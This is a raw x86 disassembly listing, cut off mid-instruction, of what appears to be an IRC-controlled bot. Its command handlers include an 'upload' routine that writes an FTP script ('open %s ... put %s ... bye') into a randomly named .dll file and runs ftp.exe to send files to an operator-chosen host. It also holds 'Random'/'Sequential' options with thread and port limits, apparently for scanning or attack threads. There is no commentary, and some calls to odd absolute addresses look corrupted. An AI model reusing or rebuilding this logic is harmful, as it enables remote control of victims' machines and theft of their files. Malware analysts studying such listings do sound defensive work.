[ebp+var_2C4] push offset unk_42ABD4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407208: ; CODE XREF: sub_401ACD+518Dj ; sub_401ACD+5557j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401F75 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 push 4 push esi call sub_416CAF pop ecx test eax, eax pop ecx jnz short loc_407253 push esi push offset unk_42ABAC loc_40723F: ; CODE XREF: sub_401ACD+711Ej ; sub_401ACD+796Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_403F9D ; --------------------------------------------------------------------------- loc_407253: ; CODE XREF: sub_401ACD+576Aj call near ptr 2690648h nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 9 cdq pop ecx idiv ecx push edx call sub_41C2C2 push 63h cdq pop ecx idiv ecx push edx call sub_41C2C2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_50FC] push edx push eax lea eax, [ebp+var_2E5C] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41C266 lea eax, [ebp+var_2E5C] push offset aAb ; "ab" push eax call sub_41BEA2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401F75 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C7E6 push [ebp+arg_24] call sub_41BA3B add esp, 20h lea eax, [ebp+var_2E5C] push eax lea eax, [ebp+var_4CF8] push offset aSS_1 ; "-s:%s" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4CF8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CB950 test eax, eax push edi push esi jz short loc_407320 push offset unk_42AB3C jmp short loc_407325 ; --------------------------------------------------------------------------- loc_407320: ; CODE XREF: sub_401ACD+584Aj push offset unk_42AB0C loc_407325: ; CODE XREF: sub_401ACD+5851j call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40734E push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_40734E: ; CODE XREF: sub_401ACD+5863j lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_40735A: ; CODE XREF: sub_401ACD+58B2j lea eax, [ebp+var_2E5C] push 4 push eax call sub_416CAF add esp, 0Ch test eax, eax jz loc_401F75 lea eax, [ebp+var_2E5C] push eax call sub_41C7BC jmp short loc_40735A ; --------------------------------------------------------------------------- loc_407381: ; CODE XREF: sub_401ACD+5705j push edi call sub_41C159 push [ebp+arg_18] mov [ebp+var_370], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41C159 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_4073BA push 5 pop eax mov [ebp+var_36C], eax loc_4073BA: ; CODE XREF: sub_401ACD+58E2j push 3Ch pop ecx cmp eax, ecx jbe short loc_4073C7 mov [ebp+var_36C], ecx loc_4073C7: ; CODE XREF: sub_401ACD+58F2j push [ebp+arg_10] call sub_41C159 cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_4073E7 mov [ebp+var_368], 320h loc_4073E7: ; CODE XREF: sub_401ACD+590Ej or [ebp+var_354], 0FFFFFFFFh cmp dword_431808, ebx mov [ebp+arg_1C], ebx jz short loc_40743D mov [ebp+arg_24], offset dword_431808 loc_407400: ; CODE XREF: sub_401ACD+5952j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_407423 add [ebp+arg_24], 40h inc [ebp+arg_1C] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_407400 jmp short loc_40743D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_401ACD+5944j mov eax, [ebp+arg_1C] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431808[ecx] mov [ebp+var_370], ecx loc_40743D: ; CODE XREF: sub_401ACD+592Aj ; sub_401ACD+5954j cmp [ebp+var_370], ebx jnz short loc_40744F push offset unk_42AAD8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_40744F: ; CODE XREF: sub_401ACD+5976j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_40748A cmp byte ptr [edi], 23h jz short loc_40748A push edi lea eax, [ebp+var_484] push 10h push eax call sub_41C360 push 78h push edi call sub_41C990 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407564 ; --------------------------------------------------------------------------- loc_40748A: ; CODE XREF: sub_401ACD+598Bj ; sub_401ACD+5990j cmp [ebp+var_8FF], bl jnz short loc_4074AC cmp [ebp+var_8FE], bl jnz short loc_4074AC cmp [ebp+var_8EE], bl jnz short loc_4074AC push offset unk_42AAA4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_4074AC: ; CODE XREF: sub_401ACD+59C3j ; sub_401ACD+59CBj ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CB988 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CBA70 push eax lea eax, [ebp+var_484] push eax call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40755E xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41C820 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407552 loc_407530: ; CODE XREF: sub_401ACD+5A83j cmp eax, ebx jz short loc_407552 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_407530 loc_407552: ; CODE XREF: sub_401ACD+5A61j ; sub_401ACD+5A65j mov [ebp+var_344], 1 jmp short loc_407564 ; --------------------------------------------------------------------------- loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj mov [ebp+var_344], ebx loc_407564: ; CODE XREF: sub_401ACD+59B8j ; sub_401ACD+5A8Fj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41C360 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4075B5 loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj push esi loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j lea eax, [ebp+var_3F4] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_4075E0 ; --------------------------------------------------------------------------- loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4075C4 cmp byte ptr [eax], 23h jnz short loc_4075C4 push eax jmp short loc_4075A3 ; --------------------------------------------------------------------------- loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj ; sub_401ACD+5AF2j mov esi, offset aF ; "#f" push offset byte_43DB98 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4075A2 mov [ebp+var_3F4], bl loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4075F2 mov eax, offset aSequential ; "Sequential" loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AA3C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C600 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_407680 loc_40766A: ; CODE XREF: sub_401ACD+5BB1j cmp [ebp+var_340], ebx jnz loc_4081AD push 32h nop call near ptr 2670EEFh jmp short loc_40766A ; --------------------------------------------------------------------------- loc_407680: ; CODE XREF: sub_401ACD+5B9Bj nop call near ptr 26808B7h push eax push offset unk_42AA04 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_407691: ; CODE XREF: sub_401ACD+4E42j ; sub_401ACD+4E59j push edi call sub_40A8F0 push [ebp+arg_18] mov [ebp+var_4E0], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_4EC], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41BFD0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CBA70 push eax lea eax, [ebp+var_2C4] push offset unk_42A9B4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40CA1D push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_407786 loc_407770: ; CODE XREF: sub_401ACD+5CB7j cmp [ebp+var_4D0], ebx jnz loc_403D46 push 32h nop call near ptr 2670EEFh jmp short loc_407770 ; --------------------------------------------------------------------------- loc_407786: ; CODE XREF: sub_401ACD+5CA1j nop call near ptr 26808B7h push eax push offset unk_42A978 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407797: ; CODE XREF: sub_401ACD+4E05j ; sub_401ACD+4E1Cj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E938[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A96C push eax call sub_41C266 add esp, 0Ch cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E92C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E720[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E938 push eax push [ebp+arg_18] push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407957 ; --------------------------------------------------------------------------- loc_407887: ; CODE XREF: sub_401ACD+4DD7j ; sub_401ACD+4DEEj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E938[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E92C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E720[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E938 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] <%s> %s" loc_407957: ; CODE XREF: sub_401ACD+5DB5j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 28h jmp loc_409644 ; --------------------------------------------------------------------------- loc_407984: ; CODE XREF: sub_401ACD+4DA9j ; sub_401ACD+4DC0j push edi call dword_4CBA24 push [ebp+arg_18] mov [ebp+var_680], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41BFD0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CBA70 push eax lea eax, [ebp+var_2C4] push offset unk_42A914 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C92C push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_407A66 loc_407A50: ; CODE XREF: sub_401ACD+5F97j cmp [ebp+var_670], ebx jnz loc_403D46 push 32h call near ptr 2670EEFh nop jmp short loc_407A50 ; --------------------------------------------------------------------------- loc_407A66: ; CODE XREF: sub_401ACD+5F81j nop call near ptr 26808B7h push eax push offset unk_42AA04 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj ; sub_401ACD+4D92j push edi call sub_41C159 push 7Fh mov [ebp+var_1130], eax push [ebp+arg_18] lea eax, [ebp+var_1234] push eax call sub_41BFD0 push [ebp+arg_0] call sub_41C159 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1134], eax lea eax, [ebp+var_11B4] push [ebp+var_88] mov [ebp+var_123C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_1120], eax push [ebp+var_1134] lea eax, [ebp+var_1234] mov [ebp+var_1124], edi push eax push [ebp+var_1130] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A8D8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B3BA add esp, 24h mov [ebp+var_112C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_123C] push ebx push eax push offset loc_410DAB push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_112C] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_407B63 loc_407B4D: ; CODE XREF: sub_401ACD+6094j cmp [ebp+var_111C], ebx jnz loc_403D46 push 32h nop call near ptr 2670EEFh jmp short loc_407B4D ; --------------------------------------------------------------------------- loc_407B63: ; CODE XREF: sub_401ACD+607Ej nop call near ptr 26808B7h push eax push offset unk_42A894 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj ; sub_401ACD+4D64j push 0FFh lea eax, [ebp+var_287C] push edi push eax call sub_41BFD0 push 0FFh lea eax, [ebp+var_277C] push [ebp+arg_18] push eax call sub_41BFD0 push [ebp+arg_0] mov [ebp+var_2678], ebx call sub_41C159 mov [ebp+var_2674], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407BCD push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_266C], eax jmp short loc_407BD3 ; --------------------------------------------------------------------------- loc_407BCD: ; CODE XREF: sub_401ACD+60EAj mov [ebp+var_266C], ebx loc_407BD3: ; CODE XREF: sub_401ACD+60FEj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407BEA push esi call sub_41C159 pop ecx mov [ebp+var_2670], eax jmp short loc_407BF0 ; --------------------------------------------------------------------------- loc_407BEA: ; CODE XREF: sub_401ACD+610Cj mov [ebp+var_2670], ebx loc_407BF0: ; CODE XREF: sub_401ACD+611Bj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2668], eax lea eax, [ebp+var_28FC] mov [ebp+var_2900], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_2660], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2664], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A868 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_267C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2900] push ebx push eax push offset loc_4167A0 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_267C] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_407CA1 loc_407C8B: ; CODE XREF: sub_401ACD+61D2j cmp [ebp+var_265C], ebx jnz loc_407196 push 32h nop call near ptr 2670EEFh jmp short loc_407C8B ; --------------------------------------------------------------------------- loc_407CA1: ; CODE XREF: sub_401ACD+61BCj nop call near ptr 26808B7h push eax push offset unk_42A828 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj ; sub_401ACD+4D36j push 7Fh lea eax, [ebp+var_3494] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3414] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3394] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3314] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_3290], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_328C], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3498], esi push edi push offset unk_42A7EC push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3294], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3498] push ebx push eax push offset byte_41561D push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_3294] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_407D89 loc_407D73: ; CODE XREF: sub_401ACD+62BAj cmp [ebp+var_3288], ebx jnz loc_407196 push 32h nop call near ptr 2670EEFh jmp short loc_407D73 ; --------------------------------------------------------------------------- loc_407D89: ; CODE XREF: sub_401ACD+62A4j nop call near ptr 26808B7h push eax push offset unk_42A7B4 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j ; sub_401ACD+4C09j push 7Fh lea eax, [ebp+var_306C] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_2FEC] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2F6C] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2EEC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3070], esi push edi push offset unk_42A784 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B3BA add esp, 20h mov [ebp+var_2E6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3070] push ebx push eax push offset dword_414358 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_2E6C] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_407E71 loc_407E5B: ; CODE XREF: sub_401ACD+63A2j cmp [ebp+var_2E60], ebx jnz loc_407196 push 32h call near ptr 2670EEFh nop jmp short loc_407E5B ; --------------------------------------------------------------------------- loc_407E71: ; CODE XREF: sub_401ACD+638Cj nop call near ptr 26808B7h push eax push offset unk_42A74C jmp loc_407187 ; --------------------------------------------------------------------------- loc_407E82: ; CODE XREF: sub_401ACD+4AC9j ; sub_401ACD+4AE0j ... push 7Fh lea eax, [ebp+var_3CE8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3C68] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3BE8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3B68] push [ebp+var_88] push eax call sub_41BFD0 push 20h lea eax, [ebp+var_3AE8] push [ebp+arg_8] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3CF0], esi push edi push offset unk_42A71C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B3BA add esp, 20h mov [ebp+var_3CEC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CF0] push ebx push eax push offset byte_4135DF push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_3CEC] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_407F6A loc_407F54: ; CODE XREF: sub_401ACD+649Bj cmp [ebp+var_3A60], ebx jnz loc_407196 push 32h nop call near ptr 2670EEFh jmp short loc_407F54 ; --------------------------------------------------------------------------- loc_407F6A: ; CODE XREF: sub_401ACD+6485j nop call near ptr 26808B7h push eax push offset unk_42A6E4 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj ; sub_401ACD+4AB2j push 7Fh lea eax, [ebp+var_177C] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push 3Fh mov [ebp+var_162C], eax push [ebp+arg_0] lea eax, [ebp+var_16FC] push eax call sub_41BFD0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_407FC6 push 3Fh lea eax, [ebp+var_16BC] push esi push eax call sub_41BFD0 add esp, 0Ch loc_407FC6: ; CODE XREF: sub_401ACD+64E5j lea eax, [ebp+var_16FC] mov [ebp+var_1628], 1 push eax lea eax, [ebp+var_177C] push [ebp+var_162C] push eax lea eax, [ebp+var_2C4] push offset dword_42A6B4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B3BA add esp, 20h mov [ebp+var_1624], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1780] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1624] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_408052 loc_40803C: ; CODE XREF: sub_401ACD+6583j cmp [ebp+var_1620], ebx jnz loc_406BFE push 32h nop call near ptr 2670EEFh jmp short loc_40803C ; --------------------------------------------------------------------------- loc_408052: ; CODE XREF: sub_401ACD+656Dj call near ptr 26808B7h nop push eax push offset dword_42A678 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408063: ; CODE XREF: sub_401ACD+4A5Bj ; sub_401ACD+4A72j push [ebp+arg_18] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1D68], eax jle loc_408156 mov esi, 80h push edi lea eax, [ebp+var_1EF0] push esi push eax call sub_41C360 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D64], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF4], eax lea eax, [ebp+var_1DF0] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D60], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_1D5C], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A64C push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B3BA add esp, 20h mov [ebp+var_1D70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF4] push ebx push eax push offset byte_413A29 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_1D70] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_408145 loc_408133: ; CODE XREF: sub_401ACD+6676j cmp [ebp+var_1D58], ebx jnz short loc_4081AD push 32h nop call near ptr 2670EEFh jmp short loc_408133 ; --------------------------------------------------------------------------- loc_408145: ; CODE XREF: sub_401ACD+6664j nop call near ptr 26808B7h push eax push offset unk_42A614 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_408156: ; CODE XREF: sub_401ACD+65A7j push offset unk_42A5DC jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408160: ; CODE XREF: sub_401ACD+4A2Dj ; sub_401ACD+4A44j push [ebp+arg_18] push edi call near ptr 26A0B0Ch nop test eax, eax jz short loc_40818D push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push offset unk_42A5B8 push 200h push eax call sub_41C360 add esp, 14h jmp short loc_4081AD ; --------------------------------------------------------------------------- loc_40818D: ; CODE XREF: sub_401ACD+669Fj push offset dword_42A5AC call sub_418699 pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 loc_4081AA: ; CODE XREF: sub_401ACD+548Dj ; sub_401ACD+73C5j add esp, 0Ch loc_4081AD: ; CODE XREF: sub_401ACD+20DCj ; sub_401ACD+2E89j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4081CA: ; CODE XREF: sub_401ACD+56E4j call sub_409869 add esp, 14h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_401ACD+49FFj ; sub_401ACD+4A16j push edi lea eax, [ebp+var_3F08] push 104h push eax call sub_41C360 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_408211 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_408211 push eax lea eax, [ebp+var_3E04] push eax call sub_41C266 pop ecx pop ecx loc_408211: ; CODE XREF: sub_401ACD+6722j ; sub_401ACD+6733j push [ebp+var_88] lea eax, [ebp+var_3F88] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F8C], eax mov eax, [ebp+var_4] mov [ebp+var_3CFC], eax mov eax, [ebp+var_8] mov [ebp+var_3CF8], eax lea eax, [ebp+var_3E04] push eax lea eax, [ebp+var_3F08] push eax push offset unk_42A57C lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3D00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8C] push ebx push eax push offset dword_417054 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_3D00] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_4082C3 loc_4082B1: ; CODE XREF: sub_401ACD+67F4j cmp [ebp+var_3CF4], ebx jnz short loc_4082DE push 32h nop call near ptr 2670EEFh jmp short loc_4082B1 ; --------------------------------------------------------------------------- loc_4082C3: ; CODE XREF: sub_401ACD+67E2j call near ptr 26808B7h nop push eax push offset unk_42A540 loc_4082CF: ; CODE XREF: sub_401ACD+909j ; sub_401ACD+A47j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_4082DE: ; CODE XREF: sub_401ACD+7C5j ; sub_401ACD+930j ... push 1 pop esi jmp loc_406C22 ; --------------------------------------------------------------------------- loc_4082E6: ; CODE XREF: sub_401ACD+49D1j ; sub_401ACD+49E8j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41BF70 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push edi mov [ebp+var_63C], esi call sub_41C159 add esp, 10h cmp eax, esi jnz short loc_408323 mov [ebp+var_638], 5 loc_408323: ; CODE XREF: sub_401ACD+684Bj cmp [ebp+var_C], ebx jz loc_406BFE push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406BFE lea eax, [ebp+var_E34] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2660BA5h test eax, eax jnz short loc_40836E push offset unk_42A51C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40836E: ; CODE XREF: sub_401ACD+6895j push edi push offset dword_42A500 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408379: ; CODE XREF: sub_401ACD+49A3j ; sub_401ACD+49BAj push 